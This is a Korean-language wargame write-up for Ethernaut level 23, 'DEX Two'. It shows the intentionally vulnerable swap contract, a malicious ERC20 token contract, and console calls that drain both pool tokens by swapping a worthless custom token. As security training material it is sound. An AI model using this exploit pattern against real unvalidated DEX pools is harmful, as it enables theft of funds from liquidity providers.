> For the complete documentation index, see [llms.txt](https://whs3-doge5k.gitbook.io/smartcontract-security-docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://whs3-doge5k.gitbook.io/smartcontract-security-docs/ethernaut/23.-dex-two.md).

# 23. DEX Two

> 이번 레벨에서는 이전 단계의 `Dex` 컨트랙트를 미묘하게 수정한 `DexTwo`를 다른 방식으로 무너뜨려야 합니다.
>
> 이 레벨을 통과하려면, `DexTwo` 컨트랙트에서 token1과 token2의 잔액을 모두 소진시켜야 합니다.
>
> 시작 조건은 동일합니다: 당신은 `token1`과 `token2`를 각 10개씩 보유하고, DEX 컨트랙트는 각 토큰을 100개씩 보유한 상태입니다.
>
> 도움이 될 만한 것들:
>
> * `swap` 함수가 어떻게 수정되었는지 주의 깊게 살펴보세요.

### 들어가기 전에

[22. DEX](/smartcontract-security-docs/ethernaut/22.-dex.md)

### **원본 소스 코드**

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/token/ERC20/IERC20.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import "openzeppelin-contracts-08/access/Ownable.sol";

contract DexTwo is Ownable {
    address public token1;
    address public token2;

    constructor() {}

    function setTokens(address _token1, address _token2) public onlyOwner {
        token1 = _token1;
        token2 = _token2;
    }

    function add_liquidity(address token_address, uint256 amount) public onlyOwner {
        IERC20(token_address).transferFrom(msg.sender, address(this), amount);
    }

    function swap(address from, address to, uint256 amount) public { //[1]
        require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
        uint256 swapAmount = getSwapAmount(from, to, amount);
        IERC20(from).transferFrom(msg.sender, address(this), amount);
        IERC20(to).approve(address(this), swapAmount);
        IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
    }

    function getSwapAmount(address from, address to, uint256 amount) public view returns (uint256) {
        return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
    }

    function approve(address spender, uint256 amount) public {
        SwappableTokenTwo(token1).approve(msg.sender, spender, amount);
        SwappableTokenTwo(token2).approve(msg.sender, spender, amount);
    }

    function balanceOf(address token, address account) public view returns (uint256) {
        return IERC20(token).balanceOf(account);
    }
}

contract SwappableTokenTwo is ERC20 {
    address private _dex;

    constructor(address dexInstance, string memory name, string memory symbol, uint256 initialSupply)
        ERC20(name, symbol)
    {
        _mint(msg.sender, initialSupply);
        _dex = dexInstance;
    }

    function approve(address owner, address spender, uint256 amount) public {
        require(owner != _dex, "InvalidApprover");
        super._approve(owner, spender, amount);
    }
}
```

> \[1] :  dex 문제에서는 require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens"); 와 같이 토큰 검증 절차가 있었으나 이번 dex two에는 어떤 토큰을 사용 하는 지에 대한 검증 절차가 없음

### **공격 시나리오**

* 검증 절차가 없기에 새로운 토큰을 하나 생성 후 swap을 통하여 token1과 token2의 잔액을 모두 소진 시켜본다.

### **공격 코드**

```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract mtoken is ERC20 {
    constructor(address dex) ERC20("maketoken", "make") {
        _mint(msg.sender, 1000 * 10 ** decimals()); // msg.sender에 토큰 1000개
        _mint(dex, 1 * 10 ** decimals());          // Dex 토큰1개 
         _approve(msg.sender, dex, type(uint256).max); // 토큰 사용 승인
    }
}

```

* token 검증 절차가 없다는 것을 이용하기 위해 새로운 토큰을 만들어 준다.

```solidity
let tk1 = await contract.token1() // token1 변수 저장
let tk2 = await contract.token2() // token2 변수 저장
let mtoken = '<새 토큰 발행 주소>' // 새 토큰 발행 주소 변수 저장
await contract.swap(mtoken, tk1, "1000000000000000000" ); // 1 mtoken 
await contract.swap(mtoken, tk2, "2000000000000000000"); //  2 mtoken
```

* token 1,2와 새  토큰을 변수 저장  하고 swap을 통해 token1,2를 고갈 시킨다.

```solidity
(await contract.balanceOf(tk1, instance)).toString();
(await contract.balanceOf(tk2, instance)).toString();
```

* dex two 컨트랙트 안의 token1, token2를 확인하면 모두 0으로 고갈 된 것을 확인 할 수 있다.

<figure><img src="https://3512650551-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FvLae9iTcYKyLdHhMtRVd%2Fuploads%2FLS7sdudOSDUQ2FIPyaNp%2Fimage.png?alt=media&amp;token=b54b84bb-4b69-4ebd-ae8d-0a2158288859" alt=""><figcaption></figcaption></figure>

### :bangbang:더 알아보기:bangbang:

> 여러 번 확인했듯이, 계약 간의 상호작용은 예상치 못한 동작의 원인이 될 수> &#x20;있습니다. 계약이 ERC20 사양을 구현한다고 주장한다고 해서 신뢰할 수 있다는 것을> &#x20;의미하지는 않습니다. 일부 토큰은 transfer 메서드에서 boolean 값을 반환하지 않아 [ERC20> &#x20;사양](https://eips.ethereum.org/EIPS/eip-20)에서 벗어납니다. [반환 값 누락 버그 - 최소 130개 토큰](https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca)이 영향을 받았습니다.> &#x20;다른 ERC20 토큰, 특히 공격자가 설계한 토큰은 더욱 악의적인 동작을 할 수 있습니> 다. 중앙 기관의 허가 없이 누구나 자신의 토큰을 상장할 수 있는 DEX를 설계하는> &#x20;경우, DEX의 정확성은 DEX 계약과 거래되는 토큰 계약의 상호작용에 따라 달라질 수> &#x20;있습니다.
